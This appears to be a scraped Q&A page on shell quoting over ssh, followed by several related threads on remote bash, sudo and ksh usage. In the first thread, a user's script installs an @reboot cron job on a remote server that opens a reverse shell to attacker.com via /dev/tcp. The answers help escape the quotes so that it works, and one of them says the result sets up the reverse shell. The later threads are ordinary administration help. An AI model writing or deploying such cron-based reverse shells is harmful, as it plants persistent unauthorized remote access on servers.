How to pass a single quote through a double quoted echo command in a script to add a cron job - linux

I have a script to update the cron job in a remote server accessed by ssh. I can't get the single quote to be put into the cron job from the echo command running in my bash script.
This is the exact string I need in my cron job:
'bash -i >& /dev/tcp/attacker.com/5326 0>&1'
But I can't get them to "stick."
This is the line in my script (other lines are working just fine.
sshpass -p 'PASSWORD' ssh -t -o StrictHostKeyChecking=no REMOTEUSERNAME#HOSTNAME "rm TEMPFILENAME;touch TEMPFILENAME;crontab -l > TEMPFILENAME;echo #reboot /bin/bash -c 'bash -i >& /dev/tcp/attacker.com/5326 0>&1' >> TEMPFILENAME; crontab TEMPFILENAME"
The result of this attempt is ...
#reboot /bin/bash -c bash -i >& /dev/tcp/attacker.com/5326 0>&1
... with the quotes missing.
I have tried multiple double quotes. Single quotes within double quotes. Slashes.
In this situatation how can put single quotes in my script so they end up on the cron job?

If you don't need it to be pretty, you can ask Bash to do it:
#!/bin/bash
cmd='bash -i >& /dev/tcp/attacker.com/5326 0>&1';
crontab=$(printf "#reboot bash -c %q" "$cmd")
echo=$(printf "echo %q >> TEMPFILENAME" "$crontab")
ssh=$(printf "ssh localhost %q" "$echo")
printf 'The command to run is:\n%s\n' "$ssh"
The output of this script is:
The command to run is:
ssh localhost echo\ #reboot\\\ bash\\\ -c\\\ bash\\\\\\\ -i\\\\\\\ \\\\\\\>\\\\\\\&\\\\\\\ /dev/tcp/attacker.com/5326\\\\\\\ 0\\\\\\\>\\\\\\\&1\ \>\>\ TEMPFILENAME
And indeed, if you copy-paste that command, you will find a file TEMPFILENAME containing:
#reboot bash -c bash\ -i\ \>\&\ /dev/tcp/attacker.com/5326\ 0\>\&1
Which in turn when copy pasted into a prompt will set up the reverse shell.

Can you try after escaping the single quotes with a '\' ?
sshpass -p 'PASSWORD' ssh -t -o StrictHostKeyChecking=no REMOTEUSERNAME#HOSTNAME "rm TEMPFILENAME;touch TEMPFILENAME;crontab -l > TEMPFILENAME;echo #reboot /bin/bash -c \'bash -i >& /dev/tcp/attacker.com/5326 0>&1\' >> TEMPFILENAME; crontab TEMPFILENAME"

Related

Using escape characters inside double quotes in ssh command in bash script

I want to run some commands each time when I log in to a remote system. Storing commands in .bashrc on remote is not an option.
What is the proper way to escape the escape chars inside of quotes in bash script for ssh?
How can I write each command in new line?
My script
#!/bin/bash
remote_PS1=$'\[\033[01;32m\]\u#\[\033[03;80m\]\h\[\033[00m\]:\[\033[01;34m\]\!:\w\[\033[00m\]\$ '
ssh -t "$#" 'export SYSTEMD_PAGER="";' \
'export $remote_PS1;' \
'echo -e "set nocompatible" > /home/root/.vimrc;' \
'bash -l;'
didn't work.
Escaping escape characters inside double-quotes and run them on remote server is way too complicated for me :)
Instead, I wrote a remoterc file for remote and a small remotessh script.
In remotessh, first I copy remoterc on remote machine and run bash command with that remoterc file interactively.
remoterc:
#!/bin/bash
SYSTEMD_PAGER=""
PS1="\[\033[01;32m\]\u#\[\033[03;80m\]\h\[\033[00m\]:\[\033[01;34m\]\!:\w\[\033[00m\]\$ "
echo -e "set nocompatible" > /home/root/.vimrc
remotessh:
#!/bin/bash
scp remoterc "$1":/home/root/
ssh "$1" -t "bash --rcfile remoterc -i"
It works :)
You can use Bash's printf %q.
According to help printf:
%q      quote the argument in a way that can be reused as shell input
See the following example:
$ cat foo.sh
ps1='\[\033[1;31m\]\u:\w \[\033[0m\]\$ '
ps1_quoted=$( printf %q "$ps1" )
ssh -t foo#localhost \
'export FOO=bar;' \
"export PS1=$ps1_quoted;" \
'bash --norc'
Result:

Commands don't echo after sudo as another user

I have a single command to ssh to a remote linux host and execute a shell script.
ssh -t -t $USER#somehost 'bash -s' < ./deploy.sh
Inside deploy.sh I have this:
#!/bin/bash
whoami; # I see this command echo
sudo -i -u someoneelse #I see this command echo
whoami; # I DON'T see this command echo, but response is correct
#subsequent commands don't echo
When I run the deploy.sh script locally all commands echo.
How do I get commands to echo after I sudo as another user over ssh?
Had to set -x AFTER sudo as another user
#!/bin/bash
whoami;
sudo -i -u someonelese
set -x #make sure echo on
whoami; #command echoed

Ksh script: How to remain in ssh and continue the script

So for my script I want to ssh into a remote host and remain in the remote host after the script ends and also have the directory changed to match the remote host when the script ends.
#!/bin/ksh
ssh -t -X mylogin#myremotemachine 'cd $HOME/bin/folder1; echo $PWD; ssh -q -X ssh mylogin#myremotemachine; cd $HOME/bin/folder2; echo $PWD'
The PWD gets changed correctly before the second ssh. The reason for the second ssh is because it ends the script in the correct remote host but it will not retain the directory change which I attempted by putting commands after it but they won't execute.
Does anyone have any ideas?
Just launch a shell at the end of the command list:
ssh -t -X mylogin#myremotemachine 'cd $HOME/bin/folder1; echo $PWD; ssh -q -X ssh mylogin#myremotemachine; cd $HOME/bin/folder2; echo $PWD; ksh'
If you want the shell to be a login one (i.e. one that reads .profile), use exec -l:
ssh -t -X mylogin#myremotemachine 'cd $HOME/bin/folder1; exec -l ksh'
If the remote server uses an old ksh release that doesn't support the exec -l builtin and if bash or ksh93 is available, here is a workaround:
ssh -t -X mylogin#myremotemachine 'cd $HOME/bin/folder1; exec bash -c "exec -l ksh"'

SED in remote SUDO ssh script

I am trying to disable RHN check when running yum on 1000 servers. It is done by:
Editing this file /etc/yum/pluginconf.d/rhnplugin.conf
[main]
enabled = 0
I wrote a script to do this remotely. We are using individual accounts and I need to execute this command using SUDO:
for HOST in $(cat serverlist ) ; do echo $HOST; ssh -o ConnectTimeout=5 -oStrictHostKeyChecking=no $HOST -t 'sudo cp /etc/yum/pluginconf.d/rhnplugin.conf /etc/yum/pluginconf.d/rhnplugin.$(date +%F) ; sudo sed -i -e "s/1/0/g" /etc/yum/pluginconf.d/rhnplugin.conf ' ; done
I know it is a long line but why does it not work?
All individual commands work on their own
sudo cp /etc/yum/pluginconf.d/rhnplugin.conf /etc/yum/pluginconf.d/rhnplugin.$(date +%F)
sudo sed -i -e "s/1/0/g" /etc/yum/pluginconf.d/rhnplugin.conf
have tried escaping the special chars:
sudo sed -i -e "s\/1\/0\/g" /etc/yum/pluginconf.d/rhnplugin.conf
But I get an error all the time:
sed: -e expression #1, char 1: unknown command: `?'
Thanks for your help.
The sudo(1) command expects a pseudo-teletype (pty) and fails if it does not see one. Rewrite your command line to use su(1) instead. Use your local sudo(1) configuration to limit access to this script so only the select few can execute the script.
I actually found the answer to this question, or rather workaround. See the snippet below, where I got to -as root- ssh as me (szymonri) to other host, then invoke sed command as root in order to edit /etc/hosts file. All thanks to base64 magic.
ME=`echo -e "$(hostname -I | awk '{print $1}')\toverlord"`
B64ENC=`echo "sed -i 's/.*overlord/$ME/g' /etc/hosts" | base64`
su - szymonri sh -c "ssh jetson bash -c \\\"echo $B64ENC \| base64 --decode \| sudo bash \\\""
line: I"m obtaining m yown IP address as an /etc/hosts line
line: I'm base64 encoding sed command with the first line in it.
line: I'm invoking the SSH shenannigan, where I su as regular user, ssh to another box as the user, and use power of sudo to edit the file.

How to log non-interactive bash command sent through ssh

I'm sending a command through ssh:
ssh server.org 'bash -s' << EOF
ls -al
whoami
uptime
EOF
How to log it in the system (remote server)? I'd like to log those commands in some file (.bash_history or /tmp/log).
I've tried to add the line below to sshd_config:
ForceCommand if [[ -z $SSH_ORIGINAL_COMMAND ]]; then bash; else echo "$SSH_ORIGINAL_COMMAND" >> .bash_history; bash -c "$SSH_ORIGINAL_COMMAND"; fi
But it logs "bash -s" only.
I'll appreciate any help.
When bash shell exits, bash reads and executes commands from the ~/.bash_logout file. Probably you can run the history command at the end in the .bash_logout(of the server) and save it to some location.
If it suffices to work with the given command, we can put the necessary additions to enable and log command history at the beginning and end, e. g.
ssh server.org bash <<EOF
set -o history
ls -al
whoami
uptime
history|sed 's/ *[0-9]* *//' >>~/.bash_history
EOF
Or we could put them into the awfully long ForceCommand line:
… if [[ "$SSH_ORIGINAL_COMMAND" == bash* ]]; then echo "set -o history"; cat; echo "history|sed 's/ *[0-9]* *//' >>~/.bash_history"; else cat; fi | bash -c "$SSH_ORIGINAL_COMMAND"; fi

Resources